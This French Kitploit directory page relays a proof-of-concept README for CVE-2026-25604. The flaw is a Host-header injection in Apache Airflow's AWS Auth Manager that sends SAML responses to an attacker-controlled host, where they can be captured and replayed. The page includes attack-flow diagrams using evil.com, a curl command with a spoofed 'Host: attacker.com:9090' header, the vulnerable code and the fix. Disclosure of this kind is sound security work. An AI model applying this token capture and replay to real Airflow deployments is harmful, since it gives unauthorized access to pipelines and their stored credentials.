Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25604-PoC — Une preuve de concept pour démontrer la CVE-2026-25604 | Kitploit
Outils/GitHubGitHub/john-jung/cve-2026-25604-poc
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité CloudApprentissage et Éducation
GitHubjohn-jung/cve-2026-25604-poc

CVE-2026-25604-PoC

Une preuve de concept pour démontrer la CVE-2026-25604

Voir le dépôt
5il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25604 PoC

Injection d'en-tête Host menant à un contournement de l'authentification SAML dans AWS Auth Manager d'Apache Airflow

Un attaquant peut injecter un en-tête Host malveillant dans le flux de connexion SAML, ce qui entraîne le pointage de l'URL du service de consommation d'assertion (ACS) vers un serveur contrôlé par l'attaquant. Cela permet à l'attaquant de capturer des réponses SAML valides et de les rejouer pour obtenir un accès non autorisé à l'instance Airflow de la victime — ou de réutiliser des jetons sur différentes instances Airflow avec des contrôles d'accès différents.

Versions concernées

PackageAffectéesCorrigée
apache-airflow-providers-amazon8.0.0 – 9.21.x9.22.0

Description officielle

CVE-2026-25604 : Erreur de validation d'origine dans AWS Auth Manager (CWE-346)

Dans AWS Auth Manager, l'origine de l'authentification SAML a été utilisée telle que fournie par le client et non vérifiée par rapport à l'URL réelle de l'instance. Cela permettait d'obtenir un accès à différentes instances avec des contrôles d'accès potentiellement différents en réutilisant la réponse SAML d'autres instances.

— NVD

Références

SourceLien
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-25604
PR de correctifhttps://github.com/apache/airflow/pull/61368

Résumé de la vulnérabilité

Le gestionnaire d'authentification AWS d'Apache Airflow utilise SAML 2.0 via AWS IAM Identity Center pour l'authentification. Lors de la construction de la demande d'authentification SAML, la méthode _prepare_flask_request() lit l'en-tête Host directement de la requête HTTP entrante pour construire l'URL de rappel ACS :

root@kitploit:~
# Code vulnérable dans aws_auth_manager.py
def _prepare_flask_request(req):
    host = req.headers.get("Host", req.host)  # <-- Contrôlé par l'attaquant
    
    if ":" in host:
        hostname, port = host.rsplit(":", 1)
    else:
        hostname = host
        port = "443" if req.scheme == "https" else "80"
    
    return {
        "http_host": hostname,    # Utilisé pour construire l'URL ACS
        "server_port": port,
        ...
    }

Les valeurs résultantes http_host et server_port sont utilisées pour construire l'URL AssertionConsumerService SAML. Comme le fournisseur d'identité (IdP) fait confiance à cette URL, il redirige l'utilisateur authentifié — ainsi que la réponse SAML signée — vers l'empointement de l'en-tête Host.

Flux d'attaque

root@kitploit:~
┌──────────┐         ┌──────────────┐         ┌─────────────┐
│ Attaquant│         │ Victime      │         │ AWS IAM     │
│          │         │ Airflow      │         │ Identity    │
│          │         │ Instance     │         │ Center      │
└────┬─────┘         └──────┬───────┘         └──────┬──────┘
     │                      │                        │
     │ 1. GET /login        │                        │
     │ Host: evil.com:8080  │                        │
     │─────────────────────>│                        │
     │                      │                        │
     │                      │ 2. SAML AuthnRequest   │
     │                      │    ACS URL =           │
     │                      │    evil.com:8080/       │
     │                      │    login_callback       │
     │                      │───────────────────────>│
     │                      │                        │
     │                      │ 3. L'utilisateur       │
     │                      │    s'authentifie      │
     │                      │    sur la page IdP     │
     │                      │                        │
     │ 4. IdP redirige      │                        │
     │    SAMLResponse vers │<───────────────────────│
     │    evil.com:8080     │                        │
     │<─────────────────────│                        │
     │                      │                        │
     │ 5. L'attaquant       │                        │
     │    capture la        │                        │
     │    SAMLResponse      │                        │
     │                      │                        │
     │ 6. Rejoue vers       │                        │
     │    la victime        │                        │
     │    POST /login_callback                       │
     │    avec la           │                        │
     │    SAMLResponse      │                        │
     │    capturée          │                        │
     │─────────────────────>│                        │
     │                      │                        │
     │ 7. Authentifié !     │                        │
     │<─────────────────────│                        │
     └──────────────────────┴────────────────────────┘

Deux scénarios d'exploitation

Scénario A — Vol de jeton par hameçonnage : Un attaquant envoie un lien de connexion forgé (avec un en-tête Host usurpé via un proxy inverse) à un utilisateur légitime. Après que l'utilisateur s'est authentifié avec IAM Identity Center, la réponse SAML est redirigée vers le serveur de l'attaquant. L'attaquant la rejoue contre l'instance Airflow réelle.

Scénario B — Réutilisation de jeton entre instances : Dans des environnements Airflow multi-locataires ou multi-instances, une réponse SAML valide de l'instance A peut être rejouée sur l'instance B. Comme l'origine n'est jamais validée par rapport à l'URL réelle de l'instance, les différents contrôles d'accès de l'instance B sont contournés.

Structure du dépôt

root@kitploit:~
CVE-2026-25604-PoC/
├── README.md           # Ce fichier
└── mock_airflow.py     # Serveur Airflow factice vulnérable

Prérequis

  • Python 3.8+
  • AWS IAM Identity Center (anciennement AWS SSO) avec une application SAML 2.0 configurée
  • Une instance EC2 ou un environnement local capable d'atteindre l'URL des métadonnées SAML IAM Identity Center

Dépendances

root@kitploit:~
pip install flask python3-saml

Étapes de reproduction

1. Configurer AWS IAM Identity Center

Configurez une application SAML 2.0 dans AWS IAM Identity Center en suivant la documentation du gestionnaire d'authentification AWS Airflow :

  • URL ACS de l'application : http://<airflow-host>:<port>/login_callback
  • Audience SAML de l'application : aws-auth-manager-saml-client
  • Copiez l'URL des métadonnées SAML depuis la console Identity Center.

2. Démarrer le serveur Airflow factice vulnérable

root@kitploit:~
python mock_airflow.py <SAML_METADATA_URL> [PORT]

Par exemple :

root@kitploit:~
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080

3. Envoyer une demande de connexion avec un en-tête Host usurpé

Dans un terminal séparé, initiez une connexion SAML avec un en-tête Host manipulé :

root@kitploit:~
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login

4. Observer la redirection

Le serveur répond avec une 302 Redirect vers la page de connexion AWS IAM Identity Center. Inspectez la AuthnRequest SAML — l'URL AssertionConsumerService pointera vers attacker.com:9090/login_callback au lieu du serveur légitime.

5. Sortie attendue

Sur la console du serveur Airflow factice :

root@kitploit:~
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090

La AuthnRequest SAML ordonne désormais au IdP de délivrer la réponse SAML authentifiée à attacker.com:9090, donnant ainsi à l'attaquant un jeton valide à rejouer.

Code vulnérable

airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — la méthode _prepare_flask_request() :

root@kitploit:~
host = request.headers.get("Host", request.host)

Cette ligne fait confiance à l'en-tête Host fourni par le client sans le valider par rapport à l'URL de base Airflow configurée (AIRFLOW__API__BASE_URL).

Correctif

Le correctif (PR #61368, fusionné le 3 février 2026) remplace l'hôte dérivé de la requête par la valeur de la configuration Airflow :

root@kitploit:~
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")

Cela garantit que l'URL ACS correspond toujours à l'URL réelle de l'instance configurée par l'administrateur, indépendamment de l'en-tête Host envoyé par le client.

Impact

  • Confidentialité : Un attaquant obtient un accès authentifié à Airflow, qui peut contenir des configurations DAG sensibles, des connexions avec des identifiants et des métadonnées de pipeline de données.
  • Intégrité : Des utilisateurs non autorisés peuvent déclencher, modifier ou supprimer des DAG, perturbant potentiellement les workflows de données critiques.
  • Escalade entre instances : Dans des environnements multi-locataires, les jetons SAML peuvent être réutilisés sur des instances avec des configurations RBAC différentes.

Crédits

  • Découvert par : Sungwuk Jung
  • Corrigé par : Vincent Beck (@vincbeck), équipe de sécurité Apache Airflow

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. Utilisez-la de manière responsable et uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

Télécharger l’outil
Commit de correctif1a86aec